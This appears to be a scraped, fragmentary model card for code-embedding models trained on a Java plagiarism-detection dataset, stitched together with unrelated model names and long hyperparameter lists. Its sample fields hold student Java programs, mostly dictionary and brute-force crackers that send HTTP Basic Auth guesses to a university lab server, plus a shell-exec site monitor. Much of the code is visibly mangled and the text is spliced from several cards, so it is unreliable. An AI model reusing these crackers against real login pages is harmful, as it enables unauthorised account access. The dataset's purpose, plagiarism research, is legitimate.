"https://arxiv.org/abs/1908.10084", } bibtex @misc{henderson2017efficient, title={Efficient Natural Language Response Suggestion for Smart Reply}, author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil}, year={2017}, eprint={1705.00652}, archivePrefix={arXiv}, primaryClass={cs.CL} } ```
SOCO-Java-codeberta-mnrl-triplets-ep1-bs16-lr5e-05-split0.0
>\"+initialmd5);\n\t\t \ \ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\ \ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\ md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\ \ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\ \ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\ \t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\ \ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\ \ \n if(initialmd5.equals(presentmd5))\n \ \ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\ \t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\ );\n System.out.println(\" is different\"); \n \ \ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \ \ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\ rm present.\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\ }\t\t\n" - "import java.net.;\nimport java.io.;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i = bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ > 4));\n byte c3 = (byte)(((b2 & 0xf) > 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - sourcesentence: "import java.net.;\nimport java.io.;\nimport java.;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() = bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) > 4));\n byte c3 = (byte)(((b2\ \ & 0xf) > 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\ import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\ \ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\ \ }\n\n public static void main(String[] args)\n {\n Dictionary\ \ dictionary = new Dictionary();\n\n if (args.length \ \ 3)\n {\n dictionary.setFileName(args[3]);\n \ \ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\ \ System.exit(1);\n }\n }\n\n public void process()\n\ \ {\n attempts = 0;\n String password = \"\";\n \n \ \ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\ \ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\ \ \n input = new BufferedReader(file);\n \n \ \ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\ File not found: \" + getWordFile());\n System.exit(2);\n }\n\ \n try\n {\n while ((password = input.readLine()) !=\ \ null)\n {\n try\n {\n \ \ \n attempts++;\n BasicAuthHttpRequest\ \ req =\n new BasicAuthHttpRequest(\n \ \ getURL(),\n getUserName(),\n \ \ password);\n setPassword(password);\n \ \ setEnd(new Timestamp(System.currentTimeMillis()));\n \ \ setContent(req.getContent().toString());\n\n \ \ \n if (getFileName() != null\n &&\ \ getFileName().length() > 0)\n {\n \ \ createReport();\n }\n return;\n \ \ }\n catch (MalformedURLException e)\n \ \ {\n e.printStackTrace();\n return;\n\ \ }\n catch (IOException e)\n {\n\ \n }\n }\n }\n catch (IOException x)\n\ \ {\n x.printStackTrace();\n }\n\n \n setEnd(new\ \ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\ \ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"\ \ BruteForce proper usage \\n\\n\");\n s.append(\n \"java\ \ ..httputils.Dictionary \\\ n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\ \ {\n return wordFile;\n }\n\n \n public void setWordFile(String\ \ string)\n {\n wordFile = string;\n }\n\n}\n" - "import java.net.;\nimport java.io.;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i = bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ > 4));\n byte c3 = (byte)(((b2 & 0xf) > 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - "import java.net.;\nimport java.io.;\n\n public class Bruteforce {\n int attempts\ \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ \ String line;\n while ((line = in.readLine()) != null) {\n \ \ System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ \ String();\n String c2 = new String();\n String c3 = new String();\n \ \ String c4 = new String();\n boolean flag;\n\n for (i=l;i = bytes.length) {\n b2\ \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ \ = 0;\n pad = 1;\n }\n else\n b3\ \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ \ c2 = (byte)(((b1 & 0x3) > 4));\n byte c3 = (byte)(((b2 &\ \ 0xf) > 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n" datasets: - buelfhood/SOCOTRAINjava pipelinetag: sentence-similarity libraryname: sentence-transformers --- SentenceTransformer based on huggingface/CodeBERTa-small-v1 This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the socotrainjava dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: huggingface/CodeBERTa-small-v1 - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Training Dataset: - socotrainjava - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Dataset: socotrainjava at 44ca4ff Size: 42,960 training samples Columns: anchorcode , positivecode , and negativecode Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negativecode | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | min: 512 tokens mean: 512.0 tokens max: 512 tokens | min: 512 tokens mean: 512.0 tokens max: 512 tokens | min: 51 tokens mean: 456.08 tokens max: 512 tokens | Samples: | anchorcode | positivecode | negativecode | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | import java.io.; import java.net.; import java.util.; import java.misc.BASE64Encoder; public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println (" time :" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""); setPassword("rhk8611"); System.out.println("Attempting get a response : " +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + " "); if (responseCode == HttpURLCo... | | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | public class Base64 { final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; public static String encode(byte[] bytes) { String tmp = ""; int i = 0; byte pos; for(i=0; i pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) > 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) (((bytes[i+1] & 15) > 6) & 3)); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i+2]) & 63)); tmp = tmp + baseTable.charAt(pos); if(((i+2)%56) == 0) { tmp = tmp + "\r\n"; } } if(bytes.length % 3 != 0) { if(bytes.length % 3 == 2) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) > 4) & 15)); tmp = tmp + baseTable.charAt( pos ); ... | | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | import java.net.; import java.io.IOException; import java.util.; import java.io.; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { ... | Loss: MultipleNegativesRankingLoss with these parameters: Training Hyperparameters Non-Default Hyperparameters - `perdevicetrainbatchsize`: 16 - `numtrainepochs`: 1 - `fp16`: True - `batchsampler`: noduplicates - `overwriteoutputdir`: False - `dopredict`: False - `evalstrategy`: no - `predictionlossonly`: True - `perdevicetrainbatchsize`: 16 - `perdeviceevalbatchsize`: 8 - `pergputrainbatchsize`: None - `pergpuevalbatchsize`: None - `gradientaccumulationsteps`: 1 - `evalaccumulationsteps`: None - `torchemptycachesteps`: None - `learningrate`: 5e-05 - `weightdecay`: 0.0 - `adambeta1`: 0.9 - `adambeta2`: 0.999 - `adamepsilon`: 1e-08 - `maxgradnorm`: 1.0 - `numtrainepochs`: 1 - `maxsteps`: -1 - `lrschedulertype`: linear - `lrschedulerkwargs`: {} - `warmupratio`: 0 - `warmupsteps`: 0 - `loglevel`: passive - `loglevelreplica`: warning - `logoneachnode`: True - `loggingnaninffilter`: True - `savesafetensors`: True - `saveoneachnode`: False - `saveonlymodel`: False - `restorecallbackstatesfromcheckpoint`: False - `nocuda`: False - `usecpu`: False - `usempsdevice`: False - `seed`: 42 - `dataseed`: None - `jitmodeeval`: False - `bf16`: False - `fp16`: True - `fp16optlevel`: O1 - `halfprecisionbackend`: auto - `bf16fulleval`: False - `fp16fulleval`: False - `tf32`: None - `localrank`: 0 - `ddpbackend`: None - `tpunumcores`: None - `tpumetricsdebug`: False - `debug`: [] - `dataloaderdroplast`: False - `dataloadernumworkers`: 0 - `dataloaderprefetchfactor`: None - `pastindex`: -1 - `disabletqdm`: False - `removeunusedcolumns`: True - `labelnames`: None - `loadbestmodelatend`: False - `ignoredataskip`: False - `fsdp`: [] - `fsdpminnumparams`: 0 - `fsdpconfig`: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgradckpt': False} - `fsdptransformerlayerclstowrap`: None - `acceleratorconfig`: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None} - `parallelismconfig`: None - `deepspeed`: None - `labelsmoothingfactor`: 0.0 - `optim`: adamwtorchfused - `optimargs`: None - `adafactor`: False - `groupbylength`: False - `lengthcolumnname`: length - `project`: huggingface - `trackiospaceid`: trackio - `ddpfindunusedparameters`: None - `ddpbucketcapmb`: None - `ddpbroadcastbuffers`: False - `dataloaderpinmemory`: True - `dataloaderpersistentworkers`: False - `skipmemorymetrics`: True - `uselegacypredictionloop`: False - `pushtohub`: False - `resumefromcheckpoint`: None - `hubmodelid`: None - `hubstrategy`: everysave - `hubprivaterepo`: None - `hubalwayspush`: False - `hubrevision`: None - `gradientcheckpointing`: False - `gradientcheckpointingkwargs`: None - `includeinputsformetrics`: False - `includeformetrics`: [] - `evaldoconcatbatches`: True - `fp16backend`: auto - `pushtohubmodelid`: None - `pushtohuborganization`: None - `mpparameters`: - `autofindbatchsize`: False - `fulldeterminism`: False - `torchdynamo`: None - `rayscope`: last - `ddptimeout`: 1800 - `torchcompile`: False - `torchcompilebackend`: None - `torchcompilemode`: None - `includetokenspersecond`: False - `includenuminputtokensseen`: no - `neftunenoisealpha`: None - `optimtargetmodules`: None - `batchevalmetrics`: False - `evalonstart`: False - `useligerkernel`: False - `ligerkernelconfig`: None - `evalusegatherobject`: False - `averagetokensacrossdevices`: True - `prompts`: None - `batchsampler`: noduplicates - `multidatasetbatchsampler`: proportional - `routermapping`: {} - `learningratemapping`: {} Training Logs | Epoch | Step | Training Loss | |:------:|:----:|:-------------:| | 0.0372 | 100 | 0.4687 | | 0.0745 | 200 | 0.3601 | | 0.1117 | 300 | 0.341 | | 0.1490 | 400 | 0.343 | | 0.1862 | 500 | 0.3531 | | 0.2235 | 600 | 0.3351 | | 0.2607 | 700 | 0.3641 | | 0.2980 | 800 | 0.3264 | | 0.3352 | 900 | 0.3498 | | 0.3724 | 1000 | 0.3169 | | 0.4097 | 1100 | 0.3427 | | 0.4469 | 1200 | 0.3459 | | 0.4842 | 1300 | 0.3253 | | 0.5214 | 1400 | 0.3107 | | 0.5587 | 1500 | 0.3153 | | 0.5959 | 1600 | 0.3193 | | 0.6331 | 1700 | 0.2985 | | 0.6704 | 1800 | 0.3201 | | 0.7076 | 1900 | 0.3149 | | 0.7449 | 2000 | 0.3152 | | 0.7821 | 2100 | 0.2931 | | 0.8194 | 2200 | 0.3093 | | 0.8566 | 2300 | 0.2813 | | 0.8939 | 2400 | 0.2745 | | 0.9311 | 2500 | 0.281 | | 0.9683 | 2600 | 0.2887 | Framework Versions - Python: 3.12.3 - Sentence Transformers: 5.1.1 - Transformers: 4.57.0 - PyTorch: 2.8.0+cu128 - Accelerate: 1.10.1 - Datasets: 4.1.1 - Tokenizers: 0.22.1
SOCO_Adapter_Java_LoRA
ConPlag_1_plbart_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_pfeiffer
ConPlag_2_plbart_ep30_bs16_lr1e-05_l512_s42_ppy_f_beta_score_2
CodeBERTa-small-v1-ST
conplag2_graphcodebert_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_score
irplag_plbart_ep50_bs16_lr0_0001_l512_s42_ppy_f_beta_score_houlsby
SOCO-Java-UnixCoder-Softmax-PairClass-VAST-ep2-bs32-noEval
SentenceTransformer based on microsoft/unixcoder-base-unimodal This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the socotrainjava dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: microsoft/unixcoder-base-unimodal - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Training Dataset: - socotrainjava - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Then you can load this model and run inference. bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ```
SOCO-Java-codeberta-mnrl-triplets-ep1-bs16-lr3e-05-split0.1
